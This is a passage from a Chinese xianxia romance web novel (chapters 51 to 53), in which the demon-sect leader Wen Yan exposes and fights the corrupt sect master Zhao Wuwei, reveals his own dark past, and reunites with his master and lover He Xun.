还有柔软的唇瓣,纤长的脖颈,精巧的锁骨…… 脑中的画面突然具象化,周则猛地意识到他见过对方这幅样子,就在几日前。 属于对方的过往时光只是在他面前展露了浮光掠影的一角,就让他心跳如鼓,偏过头不敢再看。 沉重的不甘与嫉妒几乎要把周则压垮,他终于无可奈何地承认,自己无论如何都无法撼动那个幽灵般缠绕了闻厌数十年的男人在对方心中的地位。 闻厌终于睁开了眼睛,迎着周则忐忑不安的目光,突然提起旧事:“我当上楼主的的头一年,正道那群老东西为难我,你主动留下,我才得以脱身。第二年的年底,山海楼的宴席上,有人突然动手,你替我挡了一刀,养了两个月才好……周明正,我不是什么人都杀。” 周则听懂对方的意思了,脸上表情有些难过又有些愧疚,最终低声道:“楼中有一份差事需要前往极北之地,短则三五年,长则数十年,属下愿自请前往。” 闻厌默默看了低着头的人一眼,挥挥手,准了。 周则看人起身要绕过自己往外走去,深呼吸了数次,鼓起勇气叫住了闻厌:“楼主,属下还有最后一个请求。” “说。” “这么多年来,楼主不肯接受其他人……”周则之前其实已经问过这个问题了,不过那时才起了个头,就激起对方极其剧烈的抵触,他咬咬牙,手指紧攥成拳,心一横,问出了那个困扰自己近十年的问题,“是因为贺峋吗?” 闻厌条件反射地想要发火,但突然意识到自己好像并不抵触。他放任自己在随之勾起的复杂情绪中沉静了片刻,开口道:“我不知道。” 但或许闻厌自己都不知道,他此时的神情其实已经足以说明一切。周则失魂落魄地点了点头,眼睁睁地看着闻厌走远,身影彻底消失不见。 去了一趟地牢就引出来那么多事,闻厌本以为不会有更倒霉的事情发生了。 直到他醒来,再次在自己身上看到了熟悉不已的吻痕和指印,宛如那人放肆又张扬的所有权宣誓方式。 任人鱼肉的憋闷再次涌上心头,闻厌忿忿地一把掀了桌子,有刺眼的灵流在身旁炸开,一如主人糟糕至极的心绪。 等等…… 闻厌突然发现有什么不对,又甩袖打出一记,然后愕然发现,他体内流淌了数十年的阴冷魔气突然变成了至纯至净的灵力。 而他对此还并不陌生。 因为这就和轮椅上的那人一模一样。 50-55 第51章 赵无为满头冷汗, 搜魂带来的剧痛在体内还未散去,扭曲的恨意又让他双目圆睁,目光快要在闻厌身上盯出个洞来。 他当上广云宗宗主的第一件事, 就是压下了有关闻家的一切记载,把自己怎么走到现在这个位置的肮脏不堪严丝合缝地一一掩盖好。 他后来并没有放弃过寻找闻家的那个小孩,特别是成为广云宗的宗主后, 他无数次会从梦中惊醒,尖利的叫声混杂着热度惊人的火焰经常会出现在他的梦中,哪怕是醒来后也迟迟无法摆脱。 他不敢细想, 只能无数次发誓等抓到那小孩后一定要把人碎尸万段,否则难解心头之恨。 可非常让人不解的是,他所有的亲信后来都无功而返,告诉他完全没发现对方的踪迹。而那段时间各门派又在围剿贺峋,他抽不出那么多空来继续,便只能无奈地不了了之。 再次见到闻厌时,没有人知道那一刻的赵无为心中翻涌着何等的滔天恨意。 可是他下不了手了。 多年未见, 当年那个柔弱的孩子抽条长高了不少, 亦步亦趋地跟在贺峋身后。 经过贺峋手段强硬的一番血洗,仙门和魔域已经达成了一种微妙的平和,两者之间时有要坐在一处洽谈的时候。 而贺峋似乎毫不避讳自己对小徒弟的偏爱,无论去到哪里,身边都会跟着另一道身影, 从小小一只长到有贺峋的胸口高, 任何机密的事宜贺峋都没有刻意让人回避过, 坦坦荡荡地向所有人昭示他毫无保留的爱重。 虽然也有传言说私下里两人不合, 但明面上贺峋对人宝贝得很,不存在什么为了不引人注意就低调行事, 故意让人受委屈。 毕竟当实力强到任何人都无法撼动时,偏爱便不会再成为所谓的软肋。在这种情况下,赵无为明知自己最痛恨的人在何处,却根本没有任何机会下手。 在他鞭长莫及的地方,赵无为不得不承认,这个从大火中活下来的孩子被养得很好,精致秀雅的五官完全长开了,和他第一次见人就预料到的那般漂亮夺目。 以前闻家炼出的丹药随意拿出一颗来都千金难求,世代积累下的灵石珍宝多得难以想象,闻厌已经适应这种锦绣堆中的生活,但没想到换了个环境,已经刻进了骨子里的养尊处优竟被人娇惯得变本加厉,赵无为曾留意过两人相处时贺峋各种细节上对自己徒弟的照顾,简直纵容得让人乍舌。 但除此之外,赵无为觉得人好像也有些长歪了,和小时候那个柔软无助的模样不太像了。 虽然那人大多数时候仍旧顶着一副柔软无害的神情,但下一刻的抽刀利索得让人难以置信,被温热的鲜血溅了满身时,那双乌黑漂亮的眼眸都没泛起一丝波动,甚至嘴角还会弯出一个让人毛骨悚然的愉悦弧度。 不过也不奇怪,毕竟跟着这样一个杀人如麻的魔头,所以很多人都以为这又是一个和贺峋一样天生人情冷漠的怪物。 赵无为在听到这些的时候总会有种诡异的安心感,好像这样就能让自己的恨意更有名目一些,这样他才能将所有的源头都推到这个本该一早就消失在火海中的祸害身上。 回忆和现实交叠,赵无为跌坐在地,喃喃低语着:“闻景明……” 闻厌无言地和人对视一会儿,蹲下身去听对方想说些什么。 赵无为看着近在眼前的人,神情复杂地静默了片刻,猝然目露凶光,摸出怀中的短刃就向人扎去。 手臂因为颤抖失了准头,本是冲着人胸口去的不小心落到了腰间,可是又出乎赵无为意料的,闻厌似乎躲闪不及,腰侧的衣料上竟真的渗出了丝丝缕缕的血迹,让人脸上闪过几分痛楚神色。 赵无为大喜过望,举刀再落,可是其他人已经反应过来了。 唐柏一把夺下了赵无为手中的凶器。 刚才的这段回忆让他看得心火翻涌,而赵无为的这一刀更是彻底点燃了所有人的怒火。 修为不济的赵无为转瞬就被死死按在了地上,闻厌被人第一时间从赵无为身边拉走,扶着往远离赵无为的地方走去。 搀扶着他的广云宗弟子似乎也没有想到,有朝一日,自己竟然会如此轻柔地对这位让人闻风丧胆的闻小魔君。 分明上一次在同样的大殿中与人相见,还是对方行事张狂地纵火烧殿,当时那一幕甚至成了不少广云宗弟子的心理阴影。 而他现在非但对人提不起任何一丝怨恨,还升起了一种类似保护欲的情绪,尤其是他偏头看去时,闻厌微低着头,颊边有几缕碎发散落,挡住了脸上的神情,只能看到那垂下的浓密眼睫,无声地掩盖住眼眸中的所有情绪。 那广云宗的弟子觉得眼前人此时应该是极其难过的。这只要换位想想——如果是他有着如此凄楚的往事,想必连每次提及都痛苦不堪,如今突然被揭露在众目睽睽之下,无异于被迫重温了一遍那痛不欲生的过往。 可更让人看得心中发酸的是,即便如此,那人的嘴角也微微弯着,宛如在摇摇欲坠地抵抗着巨大的伤痛。 下一瞬,这些猜测都得到了证实,只见闻厌抬起头来,眉间笼着一层淡淡的哀伤,被扶着坐下时,还轻轻笑了笑,道了声谢。 赵无为的那一刀似乎对他造成的影响不小,闻厌的脸色有些发白,秾丽夺目的五官失了血色,却又在此刻迸发出破碎的、惊心动魄的美感。 这幅神情下没有人会不为之所动,那广云宗弟子和人说话都嗓音都放轻了,小心翼翼地看着人染血的腰侧,手中拿着止血的伤药不知从何下手:“闻阁主,你的伤……” 闻厌不动声色地避开了对方的手,接过对方手中的药膏,看着对方的眼睛柔声道:“谢谢你,我自己来就好。” 事情发展到这个地步,广云宗上下都脸上无光。 赵无为已经被人架了起来。他的灵力枯竭,神识也在闻厌施展的搜魂术中受损,现在广云宗随便来两位内门弟子都能毫不费力地把他制住。 广云宗的长老来到他身前,于众目睽睽之下扯下了他悬于腰间的掌门信印。 “不——”赵无为奋力挣扎,却无济于事。 鹤发长须的长老常年在宗内闭关清修,平素在宗内威望极高。 他垂眼看在挣扎中变得形容狼狈的男人,神情冷肃:“当年我就劝宗主不能仅凭一场比试的修为定下继任的人选,可惜当时宗内动荡,急需确立下一任宗主稳定人心,才让你这般伪善无耻之徒有了可乘之机。” “怎么会变成这样……”赵无为失魂落魄的目光落在面前的长老身上,畏缩哆嗦着一个个滑过面前众人唾弃气愤的面容,然后落在了此前早就被闻厌推离纷争中心的段婉清身上。 不,其实严格意义上的段婉清早就已经消散在了炉火之中,骨肉都被融进了那枚丹药里,铺就在他获得宗主之位的道路上。 现在红盖头下的是东拼西凑起来的肢体,□□之中禁锢着旧人的几分灵魂。 “不!不应该是这样的!”赵无为突然怒喝起来,目眦欲裂,血红的双眼死死地盯着被众人隔绝在身后的闻厌,嘶吼道,“如果不是你,现在宗主之位是我的,婉清也是我的——” 手杖带着灵力打在身上,顿时让赵无为惨叫一声,呕出一口血来。 “你还要执迷不悟吗?”长老的话毫不留情,戳穿赵无为最不愿面对的真相,“此事与闻公子有何干系?你自己种下的恶果,却连面对都不敢吗?” “罢了,像你这般罪孽深重的,与你说再多都是枉费唇舌。”长老一甩袖,面向众人道,“广云宗出了如此败类,让诸位道友见笑了,今日便到此结束吧,赵无为罪行累累,无可抵赖,即刻押入地牢,三日后举行会审,唐家一事广云宗也会彻查到底,还唐道友一个公道。” 目光落在默默立在角落里蒙着盖头的身影上时,长老的眼中划过不忍。 他道:“明日清晨便举行法事,超度婉清姑娘吧。” 此事便暂时落下帷幕了,观礼的宾客尽皆唏嘘不已。 “闻公子。”闻厌抬头,就看到广云宗那不苟言笑的长老走到了自己身前,看着自己时头回现出接近和蔼的神色,“你的伤怎么样了?” 闻厌正要开口,就见眼前人突然浑身一颤,他预感到不对,刚伸手搀住对方栽倒的身体,便被黑红的血染红了胸前的布料。 长老睁着眼,转瞬没了气息。 闻厌眉心一跳,在周围人的惊呼中搭上对方腕间脉搏。 下一瞬,余光中亮起寒芒,又被飞扑过来的人影撞开,霎时传来利刃扎进皮肉的闷响。 “楼主!”周则挡在他上方,背上的伤让他满头冷汗,但看到闻厌腰间染血的伤口时,神情更加愧疚,好像比自己受了伤还痛苦,“对不起,是属下来迟了。” 闻厌越过周则看去,发现是刚才还对他轻声细语的广云宗弟子也毫无征兆地拔刀相向,甚至还拼上了所有修为,分明是冲着一招置人于死地的意图去的。 放在以往这种行为闻厌不会惊讶,但今日是绝不应该出现的——在众人看到了赵无为记忆中他的过往、又还被对方所伤后。 事实也正是如此,闻厌对上的是一双空洞的眼睛。 闻厌一把将挡在面前的下属推开,抽出烟斗扬手一挡,剑尖和烟杆相撞,迸射出灵流与魔气交织的刺眼亮光。 那弟子霎时被反扑过来的魔气劈晕了,闻厌手一翻同样探向了那人的经脉,发现脉象间已被不属于他自己的某种陌生气息掌控,和那长老的情况一模一样。 “是蛊虫。”闻厌轻声道。 随着他的话音落下,殿中所有的广云宗修士身形齐齐一顿,眸光黯淡下来,不约而同地停下了手中动作,沉默而顺从地望向驱动蛊虫的人。 赵无为吐掉口中的血沫,裂开嘴唇,嗓音嘶哑阴沉:“我怎么可能会没有任何准备呢?你们也太小看我了。” 闻家的那场大火时常会在他的脑中浮现,就和他思考若有一朝事发该怎么办一样频繁,平日接触里悄无声息融进广云宗上下的蛊虫便是他的最后一层底牌,能够在半个时辰内让所有人听命于他。 闻厌脸上一直维持的平静终于挂不住了,他看了一圈,都是无一幸免的广云宗修士,神情震惊,眼中甚至都带上了一片茫然神色。 “其实应该我才是魔修来着……”闻小魔君简直快要怀疑自己了,这不是他对付山海楼里那群人的办法吗?赵无为到底是在当仙门宗主还是魔域魔君? 观礼的宾客已经散了大半,剩下的没想到自己只是晚走一步,就像掉进了魔窟里——甚至比在魔窟里还棘手,对上突然失了神智的相熟道友,没有人能完全放开手脚,抵挡得异常艰难。 周则挣扎着爬起来,后背的剑伤鲜血如泉涌,闻厌感觉对方随时都要背过气去,眼不见心不烦地把还要挡自己前面的人往旁边推,甩袖震飞了几个围过来的修士。 他扭头对周则道:“附近没有人的地方在哪里?带路。” 周则都已经做好了在此血战的准备,听了闻厌的话一愣,然后就被对方翻了个白眼:“能躲着什么不躲?难道你指望我一人对上整个广云宗吗?” “哪里跑?!”然而赵无为转瞬就追到身后,操纵着中了蛊虫的修士拔剑把两人拦了下来。 闻厌不得不停住了脚。 “自欺欺人也要有个度。”闻厌的目光落在远处那安静站立着的身影,对赵无为道,“你总是针对我有何用处?要不你去问问,看她是恨你还是恨我?” 闻厌一句话就把赵无为定在了原处。 “我大费周章夺来还魂草,就是为了让她回到我身边,婉清她不会恨我的。”赵无为口中信誓旦旦地解释,眼神却飘忽着,整个人已经隐隐有些疯疯癫癫了。 他不敢回头看那道默默立在自己身后的人影,眼中闪着不正常的光,完全陷在了自己的世界中,喃喃道:“我对不起她,但我也是不得已,我已经忏悔了那么多年,难道还不够吗?要不是你,事情根本不会发展到这个地步,凭什么……” 赵无为突然暴怒,爆发出非同寻常的力量,一个箭步冲到闻厌面前扯着人衣服,怨毒地狞笑道:“幸好苍天有眼,你爱的人也死了,这就叫报应哈哈哈!” 周则从旁边狠狠给了人一拳,怒道:“离我们楼主远点!” 赵无为再次被打得跌坐在地,看到满面怒容的周则时一愣,眉间闪过几分阴沉:“难道你忘了你是谁的人了吗?从一开始你就是我派去这祸害身边的卧底,周明正,记住你自己的身份。” 周则的脸色瞬间白了,话音落下的刹那,体内赵无为给他下的蛊虫同样发作起来,伴随着背后的剑伤,让他支撑不住跪倒在地。但他第一时间却是急切地对闻厌道:“楼主,属下发誓,从未做过背叛楼主之事!” 赵无为抓着身边傀儡的手站起,见到这一幕神情极其意外,没想到周则在自己眼皮子底下都敢公然背叛,从鼻腔中重重地呼出口气来,冷笑道:“原来如此。我就说你在魔域待了十年,怎么会什么事都做不成?” 赵无为看着闻厌,从牙缝中一个字一个字往外蹦:“这张脸真是祸害,就连我的人都愿意倒向你……呵呵,不过你今日好歹是走不出广云宗了。” 赵无为的话音中杀意腾腾,闻厌却毫不在意,看着再度向自己围过来的修士,都不急着找地方躲起来暂避锋芒,甚至还心情愉悦地笑了笑——他感觉到了某个远在山海楼的气息正在往广云宗迅速靠近,久违却又极度熟悉。 闻厌道:“其实我从一开始就知道了。” 赵无为和周则皆是一愣。 或许是感知到某人即将到来,闻厌在这种情况下,脑中闪过了自己刚从贺峋手中接过山海楼部分事务时的事情。 虽然是贺峋唯一的徒弟,但闻厌最开始试着掌权时,还是太过于生疏,魔修又惯会欺软怕硬,刚看出闻厌有些焦头烂额的苗头,就直接给他们的小少主来了场刺杀。 ……是贺峋握着他的手把长剑捅进了最后一人的胸膛。 “疼吗?”贺峋问。 他原本是弯腰替人清理着指节上的血迹,但发现自己徒弟抖得实在太厉害了,只能牵着闻厌的手把人揽进怀中,顺了顺怀中人的脊背,温声道:“知道什么地方出了问题吗?” 闻厌从贺峋的臂弯中看向组织了这场刺杀的魔修的尸体,语气不解:“我知道他有问题,已经在尽力防着他了。” “那你一开始为什么要用他呢?” “……” 贺峋就笑着叹了口气:“厌厌,为师教过你的,用人不疑,疑人不用。” 闻厌沉默了一会儿,神情似有所悟,但很快又想到了新的问题:“可如果人手不够,我实在想用一个人,不过他的立场又摇摇摆不定,要怎么办?” “那便赌一把。”闻厌听到自己师尊这样道。 贺峋的语气轻飘飘的,又带着某种鼓动性的意味,于是让闻厌也有些分不清自己此刻的颤栗是疼痛的遗留,还是他本能中对刺激与兴奋的追寻。 赵无为反应过来了,语气阴沉道:“不愧是贺峋的徒弟,学得一手玩弄人心的好本事。” 赵无为已经发现了,无论如何,他在口头上都从闻厌这里讨不得好。 凭他一人无法长时间的操纵蛊虫,趁着现在一切还在掌控中,赵无为决定不再和闻厌浪费时间了,他做了个手势,凌厉的攻势便从四面八方直冲闻厌而来。 一片混乱中,闻厌听到有人叫了自己一声,他抽空转头看去,就见唐柏正打开了某处角落中的机括,拉着他一起躲了进去。 赵无为气急败坏的叫骂霎时被挡在了外面,唐柏仍有些忧心道:“这里只能暂时撑一会儿,迟早还是会被赵无为破开机关。” “足够了。”闻厌道,“赵无为的蛊虫生效不了那么久,只要躲过了这一阵就好办了。” 他去看被自己顺手拖进来的周则,这人从刚才开始就神情僵硬,好像对外界都没了反应,麻木地任他动作。 闻厌蹙起眉:“你怎么了?” 现在他可没这耐性带着个拖油瓶到处走。 周则怔愣了片刻,突然对闻厌道:“楼主,我的伤是不是很重?” 闻厌“嗯”了一声:“主要是赵无为给你下的蛊有些棘手,放心,死不了。” 周则看着闻厌,语气却有些心灰意冷道:“楼主,您别管我了,如果我今日死在这里,是不是就……” “……” 闻厌动作一顿,眼中瞬间浮现出审视和疏离,淡声道:“我以为你不在山海楼的那段时间里已经把坏掉的脑子修好了。” “可是贺峋不就是这样的吗?”心绪激荡下,周则破天荒地冲闻厌道,“这十年间要不是他死了,您怎么会对他念念不忘?!” 要不是看在这人真的要死了的份上,闻厌绝对会给这人的脑袋开个瓢,看看里面还藏了多少水。 “你当我是什么?难道谁死在我面前我就会喜欢上谁吗?” 闻厌烦得不行,脱口而出后却整个人一顿,顿觉失言,余光瞥到周则有些激动起来的神色,喝道:“闭嘴!” 唐柏不知道两人在说什么,只听明白了贺峋这个名字。 他控制不住地在意对方的过往,又有些惋惜对方后来遇上的是这般性情扭曲的魔头,不然现在也不会堕入魔道。 “我为什么要归依正道?”闻厌反问他。 唐柏放柔了语气,或者说在赵无为的回忆中看到了这位闻小魔君的过往后,几乎没有人会狠得下心对他恶语相向。 唐柏道:“景明,就算生来便是魔修也代表不了什么,你不要自暴自弃,趁着现在还没有犯下罪业,及时回归正道还来得及,所有人都会接受你的。过去是闻家有愧于你,幸好突然起了场大火……” “幸好?”闻厌打断了唐柏的话,脸上露出个有些意味深长的笑容,“不,这可不是幸好。” “你还没发现吗?”他对唐柏道,“自从我从万宝宫救了你后,你就对我抱有了一些不切实际的幻想,哪怕是知道了我的真实身份后,你也无比希望我能够和你寄托了所有希望的那个模样一样,所以每当你发现我不符合你预期的一面时就会生气难过,但是事后又后悔。” “我不知道你累不累,但我已经有些厌烦了。”闻厌道,“我早就已经跟你说过我们不是一类人,你还想抓着每一点蛛丝马迹,说我本性良善,劝我回正道吗?如果真的是这样我劝你尽早放弃,我既然能救你,自然也会杀你,你最好不要真的让我耐心耗尽走到那一步。” “……” 唐柏憋了很久才挤出来一句话:“可是你愿意跟着贺峋,不也是因为他后来救了你吗?” 听人这样说,闻厌垂了下眼,低笑一声:“他确实救了我,也教了我很多,不过……” 闻厌突然换了个话题:“其实赵无为记忆中的并不是事情的全部,我这里还有一些他都不知道的东西,想听吗?” 唐柏眼角一跳,预感到了什么,心脏疯狂鼓动起来。 “虽然事实差不多就是赵无为看到的那样,不过他把我的生活想得也太凄惨了些。” “每次有人要来找我麻烦的时候,我都会很困惑,我只是根骨适合修魔,不是没有任何法力,难道他们觉得我没有还手之力吗?总是被人为难也很烦的,所以在没有人的时候,我会特意提醒一下他们。” 闻厌被唐柏的表情逗笑了:“你这是什么表情?放心,我很讲道理的,都没弄出人命过。一般情况下,要么是把饭碗踹了,让人一粒粒舔干净,要么是给人脖子上栓根绳扔水里,淹得差不多了再拉上来……反正都是挑他们喜欢的做,成效不错,一般人被提醒了之后就不会再找我麻烦,但架不住蠢货源源不断,让我都没过过几天安生日子。” “等知道要拿我去炼丹,我就决定要离开离开闻家了。”闻厌笑了笑,“只是离开前觉得还是要留下些什么,不然总感觉太亏了。” “啊,你好像猜到了,没错,那把火是我放的。” “很奇怪?可谁会防着一个孩子呀,或者说本来就是要扔进丹炉里的原料……所以等到火大起来后就来不及咯。” 闻厌笑容甜蜜,漂亮的眼眸弯成一对浅浅的月牙:“人们就喜欢看这种故事,不是吗?位高权重者道貌岸然,坏事做尽的恶人却有着凄惨的往事,最后坏人洗心革面,幡然悔悟。” “赵无为太适合去演这种戏文了,只可惜我这坏人却有些不太配合,还是做不到和话本子上的一模一样。” “所以你现在明白了吗?”闻厌嗓音轻快地对唐柏道,“我很满意现在的日子。” ……和身边的人。 为什么都觉得是贺峋影响了他呢? 闻厌从未像此刻这般清楚地认识到,他们从本质上就是一样的。 一样的冷漠、扭曲,坏到了骨子里。 这世上没有人能够比他们更契合彼此。 他们是志同道合的变态、天造地设的一对坏胚。 第52章 “故事讲完了, 唐兄,你还满意吗?” 唐柏仍在愣神,久久不能平复。 周则已经陷入了和体内蛊虫的抗衡中, 另外两人说到后面时他都已经意识模糊,没有力气再像刚才一样和闻厌呛声,狭小的空间一时陷入了短暂的沉默中。 闻厌伸了个懒腰, 站起身,先转到周则那边看了眼,又估摸着赵无为会破门而入的时间, 踱步去研究开门的机括。 隔着厚重的石墙,已经有沉闷的撞击声传来,闻厌啧了一声,发现自己还是没有足够好运到能够完美躲过最棘手的这段时间,不得不打起精神,手搭在了软剑上,身侧隐隐有魔气环绕, 做好时刻对上一群修士的准备。 “我还是非常感激你。”唐柏盯着闻厌半天, 突然道。 这让闻厌分了点注意力过去。 “我今日能来到殿上,一路上全靠周则暗中相助,我知道他是你安排的。”唐柏眼底痛苦和懊悔交织,“其实要是我一开始相信你,就不会被赵无为骗那么久了。” 唐柏发现自己对上闻厌时总是歉疚居多, 他经常想在事后弥补, 可眼前人太过出众, 除了苍白的言语, 他能做的实在少得让人绝望。 “景明,你还有伤在身, 等会赵无为破开这里后我会尽力和他周旋的,你抓紧时间快跑,只要等蛊虫的时效过了他就没有威胁了……呃。”他眼睁睁地看着闻厌在他面前活动了下筋骨,动作轻松,不见任何受伤后的阻滞感。 闻厌顺着唐柏的目光低头看了下自己腰侧,恍然道:“忘了告诉你,赵无为那刀没伤到我。” “那你怎么……” 闻厌歪了下头,对人笑道:“即兴发挥了一下,不见点血怎么更加符合这个剧本呢?” 说出来的话气死人不偿命,但嘴角勾勒出的笑容又很可爱,非常招人喜欢——哪怕知道了这具美丽的皮囊下是何底色,也提不起任何负面情绪。 唐柏语塞,下一瞬面前的墙体轰然碎裂,强劲气流伴着冷冽杀意直冲面门。 唐柏拿着自己的佩剑就率先迎上了对面的攻势,但赵无为也已经意识到自己所剩时间不多了,绕过他目标明确地直指闻厌。 闻厌看着一群来势汹汹的修士,有些头疼。 他运起身法,便轻盈地落到了几丈外,可刚落地站稳,除了身后追来的,又有修士接连从门外闯入,眼神麻木,毫无感情地向他攻来。 闻厌劈手夺过距离自己最近一人的剑,比了个剑法的起手式,锐利的锋芒中,阴冷强势的魔气霎时以他为原点往外扩散,把所有近身的修士统统震飞。 周身短暂空了一瞬,闻厌随手挽了个剑花,抬眼准备迎来下一场时,某种极具压迫感的气息倏然从殿外一点点爬了进来,宛如湿滑粘腻的池沼,悄无声息地把人拖进了深渊之中,就连被蛊虫操纵着的修士也浑身一僵,不受控制地发起抖来。 “是谁来了?”混杂着不安的低语响起。 所有人都感受到了来人修为上的绝对压制,甚至让人根本提不起逃跑的想法。 瞬间凝固起来的氛围中,先传入众人耳中的却是来人口中随意哼着的调子,穿过外面未知的危险在众人耳畔响起,于这种情况下透着十足十的怪异。 平稳的脚步声越来越近,靠近殿门的方向接连传来锐器入体的闷响,众人眼睁睁地看着刚被操纵来到殿外的广云宗修士一声未吭,直接接连倒下。 然后来人的衣袂一角出现在了众人视线中,玄色滚着金线的布料浸满了血,沉甸甸地在地上拖过一条蜿蜒的血痕。 哼着的调子停了,那张曾在很长一段时间内都会出现在仙门众人噩梦中的脸久违地现于人前,笑道:“诸位,许久未见了。” 四周陷入了死一般的寂静,所有人不约而同地怀疑自己是否还在梦中。 “……贺峋!贺峋来了!” 有个广云宗弟子拖着胸前的血口,跌跌撞撞地从殿外跑来,气还没喘匀,就看到了殿内的景象——他们宗主神色癫狂,身边站着熟悉的师兄师姐,却尽皆神情木然,然后他后知后觉地一愣,被贺峋吓得一片空白的脑子回过神来,发现自己竟不记得见到贺峋前自己在做什么。 贺峋口中对众人打着招呼,眼神却直直地落在了层层修士包围后的闻厌身上。 剑尖在感受到熟悉气息的那刻便已经垂落,闻厌隔着人群和那个修长身影对视,发现只不过一段时间未见,当那熟悉的眉眼出现在眼前时,心中累积的情绪竟已经沸反盈天。 然后闻厌轻轻别开了眼,在众人的视线中,像是仅仅和人短暂对视了一瞬。 可是贺峋却径直向他走来。 原本围着闻厌的修士似乎感觉到了强有力的威胁,有几个调转了身持剑攻向贺峋,贺峋连眼都没抬,顺手挡住来人的长剑,转了个头,悉数没入对方体内。 动作干净利落,期间的狠意让人一下就回想起了这人孤身一人一个个宗门杀过去的景象。 “等等……”有人发现了端倪,脸上露出激动的神色。 只见倒在地上的修士抽搐了一下,吐出一口血来,接着眼神一颤,竟从迷茫转向清明,还没到蛊虫失效的时间就自行恢复了意识。 众人这才发现原来是赵无为算准了他们不敢下重手,才一直处于被动挨打的境地,要不是被贺峋启发,所有人都还要蒙在鼓里。 局面很快被控制住,可是制住了个赵无为,又来了个更让人捉摸不透的贺峋,所有人仍旧不敢掉以轻心。 广云宗修士清醒过来后的第一时间就找人把赵无为押往地牢深处,然后都顾不上处理身上的伤口,转头道:“贺楼主……嗯?人呢?” 贺峋悄无声息不见了,连带着闻厌也不见了踪影。 没有人想到他们要找的人就在一墙之隔。 广云宗的大殿有不少直通宗内其他地方的密道,有些年岁已久失修了,道路被阻断,成了一个天然的密室。 “厌厌。”贺峋站在几步远的距离外叫他。 “怎么每次一离开为师你就把自己弄得那么狼狈?”贺峋笑着叹了口气,语气听起来和风细雨的,还打趣道,“玩脱了?” 鲜活的,不再是这段时间以来总会随时随地出现在自己脑海中的单薄影子,只要一抬手就能获得来自对方的拥抱。 不过闻厌没动,不情不愿地“嗯”了一声,抱怨道:“那个赵无为也太无耻了,我都没做到他那种程度。” 闻厌看起来神色如常,但自见到这人起,心脏就像过电般越跳越快,让他整个人像是被人为劈成了两半,一半在神情自若地和人交谈,另一半的心思却已经在疯狂地游走,他知道贺峋在和他说着广云宗内发生的事,但完全听不进去贺峋说了什么,视线无意识地落在对方开合着的嘴唇上。 这一刻闻厌的心中升起了一种接近愤怒的情绪——这人怎么能表现得如此毫无波动?难道带他进来避开众人耳目就是为了一直和他说些无关紧要的事情吗? 这点异常还是被发现了,贺峋从善如流地住了嘴。 “有一段时间没见了,厌厌不想我吗?”贺峋朝他伸手,笑了笑,轻声哄道,“过来给师尊抱一下?” 刚露出苗头的烦躁被对方一句话就打了回去,闻厌看着就连拥抱都变得如此克制温和的人,一愣神,随后属于两人间的某种默契让他读懂了对方的意思。 闻厌似乎听到了贺峋说,厌厌,你离开的这段时间里难道一刻都没有想起过我?你还没有认清楚自己喜欢什么吗?我可以压抑我的本性,但这真的是你想要的吗? 我爱你……可你敢承认你爱我吗? 那双幽深黑眸弯起的弧度很好看,盛着光落在他身上时,就和这人曾一遍遍在他耳边诉说过的爱意别无二致,温柔中包裹着极致的偏执和扭曲,只要胆敢靠近,就会被拉着一起坠入无可回寰的深渊之中。 贺峋静静地站在不远处,像是在等他做出选择。 是选择接受一个温情的拥抱,还是…… 闻厌抽出了缠在腰间的软剑,抬手扔到了一旁,然后向贺峋走去。 短短几步距离,他又从身上摸出了各式各样的暗器,银针、飞镖、刀片……丁零当啷地接连被他扔到脚下,上面淬的毒在灯火的笼罩下泛着美丽而妖异的色泽。 最后他站在贺峋面前,浑身上下已经没有任何可以防身的筹码。 闻厌脚步一转,就把人抵在了墙上。 贺峋张开的手接了个空,眼底的笑意却更大了,低头看着自己徒弟,纵容地笑。 贺峋说:“我爱你。” 语气缱绻,已经不厌其烦地在人耳边说了千百遍。 闻厌抬手勾上了贺峋的脖子,目光相接时,两人相似的黑眸中闪着同样灼热的光。 “嗯。”闻厌应了一声,道,“我也爱你。” 第53章 半废弃的密道中光线昏暗, 灯芯跳了一下,让投在两道身影上的光闪了闪,又被人直接忽略。 感官过载, 周遭的一切都模糊不清,只能感受到唇齿间的激烈纠缠,大脑中氧气被迅速消耗, 没一会儿就晕乎乎的,艰难回神时,闻厌发现被抵在墙上的已经不知不觉变成了自己。 似乎是他们两人毫无征兆的消失已经引起了越来越多人的注意, 寻找他们的动静越来越大,嘈杂的人声就连厚重的墙壁都挡不住,直接往耳朵里钻,让闻厌不由自主地压低了从唇边泄出的喘息。 然而贺峋所想应该和他背道而驰,亲吻激烈得简直像是撕咬,闻厌一开始还勾着人脖子,逐渐也有些发软, 手臂无力地滑了下来, 软绵绵地在人背后挠了挠,在贺峋捉住他的手腕时,手指动了动,像是要挣开。 贺峋的眉间掠过些许几不可察的阴霾,然而下一刻, 闻厌的指尖就挤进了他的指缝中, 非常主动地和人十指相扣。 这就像碰到了某个机关, 贺峋的动作陡然剧烈起来。闻厌觉得眼前人越发带着要把人压得喘不过气来的粗暴, 相扣的十指被牵着按在了墙上,另一只手掰着他的下巴, 固定住他有些下意识的躲闪。 闻厌仰着脸,纤长浓密的眼睫半睁半闭,随着对方的动作被撬出越来越明显的声音,半掩着的眼眸中满是雾蒙蒙的水光。 微凉的温度正从他的颌骨往下滑去,激起阵阵战栗,在对方咬上颈侧的时候,闻厌抖了一下,恰好将腰身送到贺峋掌下,半干的血迹还透着轻微湿意,碰上了贺峋的手指,然后感觉到那把自己掐在掌中的手一松,不引人注意地放缓了动作。 闻厌的眼睫上挂着湿重的水汽,仰脸看贺峋的神色。 贺峋问道:“这次又是怎么弄的?” 语气透着压抑的低沉,不出意料地在对方眼底看到了浓重的阴霾,这在以往通常昭示着自己师尊明晃晃的不悦。 有了另一层面的关系后,闻厌知道对方一向都不喜欢在自己身上看到其他人的痕迹。哪怕在他身上出现的只会是和别人交手时留下的或大或小的伤口。 过去他把这全都归结于对方极致到变态的独占欲,虽然事实也确实如此,一旦他察觉出对方身上的低气压时,刻在骨髓中的危险预感就已经让他不敢轻举妄动分毫。 没有人在这时候还有胆子去触贺峋霉头的,就算闻厌已经待在自己师尊身边很久了也没有改变。 但直到此刻,他才发现自己好像还忽略了另一层面的含义。 滚到口边的解释被他咽了回去,闻厌的眼神一动,道:“之前不小心被赵无为捅了一下。” 果不其然,贺峋的周身低气压似乎更明显了,搭在他腰上的手霎时收紧,却又刻意避开了伤口边缘。 对方隐晦的生气似乎在刚见到他的时候就已经浮现在眼眸中了,但是被和风细雨的笑意掩盖着,经过刚才的酝酿后,反而席卷得更加猛烈。 “怎么不提前传信来山海楼?”贺峋问。 